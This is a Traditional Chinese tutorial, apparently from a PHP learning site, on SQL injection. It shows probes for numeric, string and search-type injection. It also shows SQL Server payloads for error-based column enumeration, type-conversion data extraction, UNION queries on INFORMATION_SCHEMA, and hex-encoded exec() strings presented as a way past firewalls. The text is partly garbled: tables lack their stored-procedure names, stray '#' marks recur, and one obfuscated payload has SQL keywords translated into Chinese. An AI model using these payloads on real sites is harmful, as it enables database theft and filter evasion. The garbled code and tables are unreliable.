sql注入的三種方式是:1、數字型注入,當輸入的參數為整數時,可能存在數字型注入漏洞;2、字元型注入,當輸入參數為字串時,可能有字元型注入漏洞;3、搜尋型注入,進行資料搜尋時沒過濾搜尋參數。
本教學操作環境:windows7系統、mysql8.0版、Dell G3電腦。
SQL注入攻擊指的是透過建構特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法裡的一些組合,透過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的數據,致使非法數據侵入系統。
1. 數字型注入
當輸入的參數為整數時,則有可能存在數位型注入漏洞。
假設存在一條URL 為:HTTP://www.aaa.com/test.php?id=1
可以對後台的SQL 語句猜測為:
SELECT * FROM table WHERE id=1
判斷數字型漏洞的SQL 注入點:
① 先在輸入方塊中輸入一個單引號'
這樣的SQL 語句就會變成:
SELECT * FROM table WHERE id=1',
不符合語法,所以該語句肯定會出錯,導致腳本程式無法從資料庫取得數據,從而使原來的頁面出現異常。
② 在輸入框中輸入and 1 = 1
SQL語句變成:
SELECT * FROM table WHERE id=1 and 1 = 1
語句正確,執行正常,傳回的資料與原始請求無任何差異。
③ 在資料庫中輸入and 1 = 2
SQL 語句變成:
SELECT * FROM table WHERE id=1 and 1 = 2
雖然語法正確,語句執行正常,但是邏輯錯誤,因為1 = 2 為永假,所以回傳資料與原始請求有差異。
如果以上三個步驟全部滿足,程式就可能存在數字型 SQL 注入漏洞。
2. 字元型注入
當輸入參數為字串時,則可能存在字元型注入漏洞。數位型與字元型注入最大的差異在於:數字型不需要單引號閉合,而字元型一般需要使用單引號來閉合。
字元型注入最關鍵的是如何閉合 SQL 語句以及註解多餘的程式碼。
假設後台的SQL 語句如下:
SELECT * FROM table WHERE username = 'admin'
判斷字元型漏洞的SQL 注入點:
① 還是先輸入單引號admin' 來測試
這樣的SQL 語句就會變成:
SELECT * FROM table WHERE username = 'admin''。
頁面異常。
② 輸入:admin' and 1 = 1 --
注意:在admin 後有一個單引號',用於字串閉合,最後還有一個註解符--(兩條槓後面還有一個空格!!!)。
SQL 語句變成:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
頁面顯示正確。
③ 輸入:admin' and 1 = 2 --
SQL 語句變成:
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
頁面錯誤。
滿足上述三個步驟則有可能存在字元型 SQL 注入。
3.搜尋型注入
這是一類特殊的注入型別。這類注入主要是指在進行資料搜尋時沒過濾搜尋參數,一般在連結位址中有 "keyword=關鍵字" 有的沒有顯示在的連結位址裡面,而是直接透過搜尋框表單提交。此類注入點提交的SQL 語句,其原形大致為:select * from 表名where 字段like '%關鍵字%' 若存在註入,我們可以構造出類似與如下的sql注入語句進行爆破:select * from 表名where 字段like '%測試%' and '%1%'='%1%'
以下是一些常見的注入叫法:
POST注入:注入欄位在POST 資料中
Cookie注入:注入欄位在Cookie 資料中
延時注入:使用資料庫延時特性注入
搜尋注入:注入處為搜尋的地方
base64注入:注入字串需要經過base64 加密
攻擊者對於資料庫注入,無非是利用資料庫取得更多的資料或更大的權限,利用的方式可以歸結為以下幾類:
查詢資料
讀取寫入檔案
#執行指令
SQL Server 資料庫是一個非常優秀的資料庫,它可以準確地定位錯誤訊息,這對攻擊者來說是一件十分美好的事情,因為攻擊者可以透過錯誤訊息提取自己想要的資料。
① 列舉當前表或列
假設選擇存在這樣一張表:
查詢root 使用者的詳細信息,SQL語句猜測如下:
SELECT * FROM user WHERE username = 'root' AND password = 'root'
攻擊者可以利用SQL Server 特性來取得敏感資訊,在輸入方塊中輸入如下語句:
' having 1 = 1 --
最終執行的SQL 語句就會變成:
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
那麼SQL 的執行器可能會拋出一個錯誤:
攻擊者就可以發現目前的表名稱為user、而且存在字段id。
攻擊者可以利用此特性繼續得到其他列名,輸入如下語句:
' GROUP BY users.id HAVING 1 = 1 --
則SQL 語句變為:
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
#拋出錯誤:
由此可以看到包含列名username。可以一次遞歸查詢,知道沒有錯誤訊息回傳位置,這樣就可以利用 HAVING 字句得到當表的所有列名。
附註:Select指定的每一列都應該出現在Group By子句中,除非對這一列使用了聚合函數
②. 利用資料型別錯誤擷取資料
如果試圖將字串與非字串比較,或將字串轉換為另一個不相容的類型,那麼SQL 編輯器將會拋出例外。
如下列SQL 語句:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
執行器錯誤提示:
這就可以取得到使用者的使用者名稱為root。因為在子查詢SELECT TOP 1 username FROM users 中,將查詢到的用戶名的第一個返回,返回類型是varchar 類型,然後要跟int 類型的1 比較,兩種類型不同的數據無法比較而報錯,從而導致了資料外洩。
利用此方法可以遞歸推導出所有的帳號資訊:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。
透過建構此語句就可以獲得下一個 使用者名稱;若把子查詢中的 username 換成其他列名,則可以取得其他資料列的信息,這裡就不再贅述。
SQL Server 提供了大量視圖,以便於取得元資料。可以先猜測出表格的列數,再用 UNION 來建構 SQL 語句來取得其中的資料。
如:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若目前表的列數為2,則可以UNION 語句取得目前資料庫表。具體怎麼猜測目前表的列數,後面進行描述。
一些常用的系統資料庫檢視:
資料庫檢視 | 說明 |
---|---|
#SYS.DATABASES | SQL Server 中的所有資料庫 |
#SYS.SQL_LOGINS | SQL Server 中的所有登入名稱 |
INFORMATION_SCHEMA.TABLES | 目前使用者資料庫中的所有資料表 |
INFORMATION_SCHEMA.COLUMNS | #目前使用者資料庫中的所有欄位 |
SYS.ALL_COLUMNS | #使用者定義物件和系統物件的所有欄位的聯合 |
資料庫中每個權限或列異常權限 | |
儲存在資料庫中的資料庫檔案 | |
資料庫中建立的每個物件(包括約束、日誌以及預存程序) |
預存程序 | ##說明|
---|---|
建立新的SQL Server 登錄,允許使用者使用SQL Server 身分連接到SQL Server 實例 | |
從目前資料庫中刪除資料庫使用者 | |
提供Microsoft Windows 本機群組清單或在指定的Windows 網域中定義全域群組清單 | |
讀取登錄機碼 | |
寫入登錄機碼 | |
刪除登錄機碼 | |
讀取目錄 | |
更改密碼 | |
#或啟動某服務 |
角色 | |
---|---|
bulkadmin | 可以執行BULK INSERT 語句 |
#dbcreator | 可以建立、變更、刪除和還原任何資料庫 |
#diskadmin | 可以管理磁碟檔案 |
#processadmin | 可以種植在資料庫引擎中執行的實例 |
#securityadmin | 可以管理登入及其屬性;可以利用GRANT、DENY 和REVOKE 伺服器層級的權限;還可以利用GRANT、DENY 和REVOKE 資料庫層級的權限;此外也可以重置SQL Server 登入名稱的密碼 |
serveradmin | 可以更改伺服器範圍的設定選項和關閉伺服器 |
setupadmin | 可以新增和刪除連結伺服器,並且可以執行某些系統預存程序 |
sysadmin | 可以在資料庫引擎中執行任何活動 |
SQL Server 支援動態執行語句,使用者可以提交一個字串來執行SQL 語句。
如:exec('SELECT username, password FROM users')
也可以透過定義十六進位的 SQL 語句,使用 exec 函式執行。大部分Web 應用程式和防火牆都過濾了單引號,利用exec 執行十六進位SQL 語句可以突破許多防火牆及防注入程序,如:
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
或:
#declare/ **/@詢問/**/varchar(888)/**/選擇/**/@query=0x73656C6563742031/**/exec(@query)
#相關推薦:《mysql教學 》
以上是sql注入的三種方式是什麼的詳細內容。更多資訊請關注PHP中文網其他相關文章!